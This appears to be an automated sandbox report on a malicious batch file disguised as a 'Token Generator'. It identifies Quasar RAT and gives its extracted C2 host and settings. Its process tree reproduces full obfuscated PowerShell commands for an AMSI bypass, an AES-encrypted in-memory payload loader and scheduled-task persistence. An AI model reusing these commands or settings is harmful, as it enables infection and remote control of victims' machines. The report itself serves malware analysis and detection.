Analysis

  • max time kernel
    300s
  • max time network
    302s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26-05-2024 20:56

General

  • Target

    Token Generator.bat

  • Size

    3.5MB

  • MD5

    e984ebea899379a8c0a47f9308c7370b

  • SHA1

    863330006bef4c55a1bc79771ae989dc0412f717

  • SHA256

    9f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b

  • SHA512

    70934def86e93b350e72711e757cbe0a97a9a58259f184e2c97aeea3a2b9f016bb03e4fb499f3876248bfb43edec5e3949599448d95235afcb1b46d71362b975

  • SSDEEP

    49152:HgquNH3RLlp72pnTcrwIBX1F2A5LzeuUxZ3u3AnCH4El0oKYlL:HY

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Extracted

Family

quasar

Version

1.4.1

Botnet

Token Gen

C2

uk2.localto.net:6103

Mutex

0c14e9f2-6918-4e50-8463-04ad871c1e3d

Attributes
  • encryption_key

    6BE0D74806BB58E6DB21FA6E3B6DB38B4A72BAFC

  • install_name

    $77-powershell.exe

  • log_directory

    $77-Logs

  • reconnect_delay

    3000

  • startup_key

    Discord

  • subdirectory

    $77-Rootkit

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 4 IoCs
  • Drops file in System32 directory 13 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 57 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:636
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:480
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{6d4fe61d-73d6-454d-b21b-7389d0b4e439}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3024
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:692
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:992
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:716
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:960
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1064
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1076
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                    1⤵
                      PID:1172
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                        PID:1232
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ChlKNlpkKByZ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uiNTtGhhRCBUxm,[Parameter(Position=1)][Type]$qSYxMpUFnF)$TvWeutOuTnM=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+'c'+''+'t'+''+[Char](101)+'d'+'D'+'e'+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+'e'+''+[Char](109)+'ory'+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+'e'+'',''+[Char](67)+'l'+[Char](97)+'s'+'s'+',P'+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+'S'+''+[Char](101)+'ale'+'d'+',An'+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$TvWeutOuTnM.DefineConstructor(''+'R'+''+'T'+''+'S'+'p'+'e'+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'Na'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+''+[Char](103)+''+','+'Pu'+[Char](98)+''+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$uiNTtGhhRCBUxm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'me'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$TvWeutOuTnM.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+'ub'+'l'+'i'+[Char](99)+''+[Char](44)+'Hi'+[Char](100)+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'ot'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$qSYxMpUFnF,$uiNTtGhhRCBUxm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $TvWeutOuTnM.CreateType();}$DNWyDcAFHfcyU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+'c'+'r'+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+'t'+'.'+'W'+''+[Char](105)+'n32.'+'U'+''+[Char](110)+''+[Char](115)+'afe'+[Char](78)+'a'+[Char](116)+''+'i'+''+[Char](118)+''+'e'+''+'M'+''+'e'+'t'+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$MveFiCXPazIWBg=$DNWyDcAFHfcyU.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+'A'+'d'+'d'+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+','+'S'+'t'+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qHHnUewcqgerJgKAEeM=ChlKNlpkKByZ @([String])([IntPtr]);$htlniFmKNyzoxgyyeqbyRT=ChlKNlpkKByZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GgbSbGpgXcn=$DNWyDcAFHfcyU.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+'l32'+[Char](46)+'dl'+[Char](108)+'')));$vqxvbUIHBPcTXM=$MveFiCXPazIWBg.Invoke($Null,@([Object]$GgbSbGpgXcn,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'d'+[Char](76)+'ib'+'r'+''+[Char](97)+'ry'+'A'+'')));$TeOfagDmBPjdtxmlx=$MveFiCXPazIWBg.Invoke($Null,@([Object]$GgbSbGpgXcn,[Object]('V'+'i'+''+[Char](114)+'tu'+'a'+'l'+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$dJGSyHL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vqxvbUIHBPcTXM,$qHHnUewcqgerJgKAEeM).Invoke('a'+[Char](109)+''+[Char](115)+'i'+'.'+''+[Char](100)+''+[Char](108)+'l');$tgQcBgLTVEjOFCNGF=$MveFiCXPazIWBg.Invoke($Null,@([Object]$dJGSyHL,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+'an'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$yxgjiOxHND=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TeOfagDmBPjdtxmlx,$htlniFmKNyzoxgyyeqbyRT).Invoke($tgQcBgLTVEjOFCNGF,[uint32]8,4,[ref]$yxgjiOxHND);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$tgQcBgLTVEjOFCNGF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TeOfagDmBPjdtxmlx,$htlniFmKNyzoxgyyeqbyRT).Invoke($tgQcBgLTVEjOFCNGF,[uint32]8,0x20,[ref]$yxgjiOxHND);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](36)+'7'+'7'+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                          2⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of WriteProcessMemory
                          PID:3748
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                        1⤵
                          PID:1268
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1340
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1384
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                              1⤵
                              • Drops file in System32 directory
                              PID:1400
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                              1⤵
                                PID:1452
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1464
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                  1⤵
                                    PID:1560
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:2732
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1708
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1748
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k NetworkService -p
                                          1⤵
                                            PID:1768
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1812
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                              1⤵
                                                PID:1884
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1968
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1976
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:1964
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                      1⤵
                                                        PID:1852
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2132
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2272
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2368
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2388
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                1⤵
                                                                • Drops file in System32 directory
                                                                PID:2432
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                1⤵
                                                                  PID:2448
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                    PID:2484
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2564
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2580
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                        1⤵
                                                                          PID:2596
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2624
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:536
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:2620
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                  PID:3308
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Token Generator.bat"
                                                                                    2⤵
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:2000
                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      3⤵
                                                                                        PID:1164
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Token Generator.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Token Generator.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                        3⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Modifies registry class
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:4568
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_520_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_520.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                          4⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3332
                                                                                        • C:\Windows\System32\WScript.exe
                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_520.vbs"
                                                                                          4⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:908
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_520.bat" "
                                                                                            5⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3664
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              6⤵
                                                                                                PID:1740
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_520.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_520.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                                6⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:1776
                                                                                                • C:\Users\Admin\AppData\Local\Temp\Token Generator.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Token Generator.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:1696
                                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                    "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
                                                                                                    8⤵
                                                                                                    • Creates scheduled task(s)
                                                                                                    PID:1020
                                                                                                  • C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
                                                                                                    "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"
                                                                                                    8⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:3400
                                                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                      "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
                                                                                                      9⤵
                                                                                                      • Creates scheduled task(s)
                                                                                                      PID:4184
                                                                                                • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:4768
                                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                  "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
                                                                                                  7⤵
                                                                                                  • Creates scheduled task(s)
                                                                                                  PID:2096
                                                                                                • C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
                                                                                                  "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:4400
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                      1⤵
                                                                                        PID:3428
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                        1⤵
                                                                                          PID:3472
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:3792
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                              PID:3872
                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                              1⤵
                                                                                                PID:3940
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                1⤵
                                                                                                  PID:3964
                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                  1⤵
                                                                                                    PID:4248
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                    1⤵
                                                                                                      PID:4332
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                      1⤵
                                                                                                        PID:916
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                        1⤵
                                                                                                          PID:1004
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                          1⤵
                                                                                                            PID:2068
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                            1⤵
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:4104
                                                                                                          • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                            "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                            1⤵
                                                                                                            • Drops file in System32 directory
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:4876
                                                                                                          • C:\Windows\system32\SppExtComObj.exe
                                                                                                            C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:1652
                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                              1⤵
                                                                                                                PID:2208
                                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                1⤵
                                                                                                                  PID:784
                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:3404
                                                                                                                  • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                    1⤵
                                                                                                                    • Checks BIOS information in registry
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:1128

                                                                                                                  Network

                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                    Filesize

                                                                                                                    3KB

                                                                                                                    MD5

                                                                                                                    df472dcddb36aa24247f8c8d8a517bd7

                                                                                                                    SHA1

                                                                                                                    6f54967355e507294cbc86662a6fbeedac9d7030

                                                                                                                    SHA256

                                                                                                                    e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

                                                                                                                    SHA512

                                                                                                                    06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                    Filesize

                                                                                                                    1KB

                                                                                                                    MD5

